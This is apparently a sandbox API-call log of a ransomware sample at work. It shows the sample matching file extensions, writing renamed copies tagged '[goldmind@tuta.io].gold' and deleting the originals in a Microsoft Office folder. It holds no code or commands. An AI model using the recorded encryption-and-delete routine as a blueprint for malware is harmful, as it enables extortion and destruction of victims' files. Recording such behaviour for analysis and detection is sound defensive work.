[0115.767] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString=".rar") returned 4 [0115.767] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString=".bz2") returned 4 [0115.767] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.767] lstrlenW (lpString=".7z") returned 3 [0115.767] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".dbf") returned 4 [0115.767] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".1cd") returned 4 [0115.767] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".jpg") returned 4 [0115.767] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.767] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.767] lstrlenW (lpString="SCDREQS.ICO") returned 11 [0115.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.768] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0115.768] CloseHandle (hObject=0x398) returned 1 [0115.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 0x20 [0115.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.768] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.768] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.769] GetLastError () returned 0x0 [0115.769] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.790] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.791] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.791] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.791] SetEndOfFile (hFile=0x198) returned 1 [0115.791] CloseHandle (hObject=0x198) returned 1 [0115.791] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.791] SetEndOfFile (hFile=0x398) returned 1 [0115.793] CloseHandle (hObject=0x398) returned 1 [0115.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 1 [0115.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.803] lstrlenW (lpString=".doc") returned 4 [0115.803] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.803] lstrlenW (lpString=".docx") returned 5 [0115.803] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.803] lstrlenW (lpString=".pdf") returned 4 [0115.804] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".xls") returned 4 [0115.804] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".xlsx") returned 5 [0115.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.804] lstrlenW (lpString=".ppt") returned 4 [0115.804] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".zip") returned 4 [0115.804] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".rar") returned 4 [0115.804] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".bz2") returned 4 [0115.804] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString=".7z") returned 3 [0115.804] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".dbf") returned 4 [0115.804] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".1cd") returned 4 [0115.804] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".jpg") returned 4 [0115.804] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".doc") returned 4 [0115.804] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString=".docx") returned 5 [0115.804] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.804] lstrlenW (lpString=".pdf") returned 4 [0115.804] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".xls") returned 4 [0115.804] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".xlsx") returned 5 [0115.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.804] lstrlenW (lpString=".ppt") returned 4 [0115.804] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".zip") returned 4 [0115.804] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".rar") returned 4 [0115.804] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.804] lstrlenW (lpString=".bz2") returned 4 [0115.804] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString=".7z") returned 3 [0115.804] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.804] lstrlenW (lpString=".dbf") returned 4 [0115.804] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.805] lstrlenW (lpString=".1cd") returned 4 [0115.805] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0115.805] lstrlenW (lpString=".jpg") returned 4 [0115.805] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.805] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.805] lstrlenW (lpString="SCDRESPL.ICO") returned 12 [0115.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.805] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1078) returned 1 [0115.805] CloseHandle (hObject=0x3d0) returned 1 [0115.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 0x20 [0115.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.838] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.838] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.839] GetLastError () returned 0x0 [0115.839] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.858] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.859] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.859] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.859] SetEndOfFile (hFile=0x3f8) returned 1 [0115.859] CloseHandle (hObject=0x3f8) returned 1 [0115.859] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.859] SetEndOfFile (hFile=0x3d4) returned 1 [0115.862] CloseHandle (hObject=0x3d4) returned 1 [0115.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".doc") returned 4 [0115.864] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.864] lstrlenW (lpString=".docx") returned 5 [0115.864] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.864] lstrlenW (lpString=".pdf") returned 4 [0115.864] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".xls") returned 4 [0115.864] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".xlsx") returned 5 [0115.864] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.864] lstrlenW (lpString=".ppt") returned 4 [0115.864] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".zip") returned 4 [0115.864] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".rar") returned 4 [0115.864] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".bz2") returned 4 [0115.864] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.864] lstrlenW (lpString=".7z") returned 3 [0115.864] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".dbf") returned 4 [0115.864] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".1cd") returned 4 [0115.864] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".jpg") returned 4 [0115.864] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.864] lstrlenW (lpString=".doc") returned 4 [0115.864] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.864] lstrlenW (lpString=".docx") returned 5 [0115.864] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.864] lstrlenW (lpString=".pdf") returned 4 [0115.864] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".xls") returned 4 [0115.864] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.864] lstrlenW (lpString=".xlsx") returned 5 [0115.865] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.865] lstrlenW (lpString=".ppt") returned 4 [0115.865] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.865] lstrlenW (lpString=".zip") returned 4 [0115.865] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.865] lstrlenW (lpString=".rar") returned 4 [0115.865] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.865] lstrlenW (lpString=".bz2") returned 4 [0115.865] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.865] lstrlenW (lpString=".7z") returned 3 [0115.865] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.865] lstrlenW (lpString=".dbf") returned 4 [0115.865] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.865] lstrlenW (lpString=".1cd") returned 4 [0115.865] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0115.865] lstrlenW (lpString=".jpg") returned 4 [0115.865] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.865] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.865] lstrlenW (lpString="SCDRESTS.ICO") returned 12 [0115.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.883] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0115.883] CloseHandle (hObject=0x3ec) returned 1 [0115.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 0x20 [0115.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.913] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.913] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.914] GetLastError () returned 0x0 [0115.914] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.924] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.925] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.925] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.925] SetEndOfFile (hFile=0x3b4) returned 1 [0115.925] CloseHandle (hObject=0x3b4) returned 1 [0115.925] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.925] SetEndOfFile (hFile=0x194) returned 1 [0115.927] CloseHandle (hObject=0x194) returned 1 [0115.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 1 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString=".doc") returned 4 [0115.969] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.969] lstrlenW (lpString=".docx") returned 5 [0115.969] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.969] lstrlenW (lpString=".pdf") returned 4 [0115.969] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.969] lstrlenW (lpString=".xls") returned 4 [0115.969] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.969] lstrlenW (lpString=".xlsx") returned 5 [0115.969] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.969] lstrlenW (lpString=".ppt") returned 4 [0115.969] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString=".zip") returned 4 [0115.969] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.969] lstrlenW (lpString=".rar") returned 4 [0115.969] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.969] lstrlenW (lpString=".bz2") returned 4 [0115.969] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.969] lstrlenW (lpString=".7z") returned 3 [0115.969] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString=".dbf") returned 4 [0115.969] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString=".1cd") returned 4 [0115.969] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.969] lstrlenW (lpString=".jpg") returned 4 [0115.969] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString=".doc") returned 4 [0115.970] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.970] lstrlenW (lpString=".docx") returned 5 [0115.970] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.970] lstrlenW (lpString=".pdf") returned 4 [0115.970] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString=".xls") returned 4 [0115.970] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString=".xlsx") returned 5 [0115.970] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.970] lstrlenW (lpString=".ppt") returned 4 [0115.970] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString=".zip") returned 4 [0115.970] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString=".rar") returned 4 [0115.970] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.970] lstrlenW (lpString=".bz2") returned 4 [0115.970] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.970] lstrlenW (lpString=".7z") returned 3 [0115.970] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0115.970] lstrlenW (lpString=".dbf") returned 4 [0115.970] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.970] 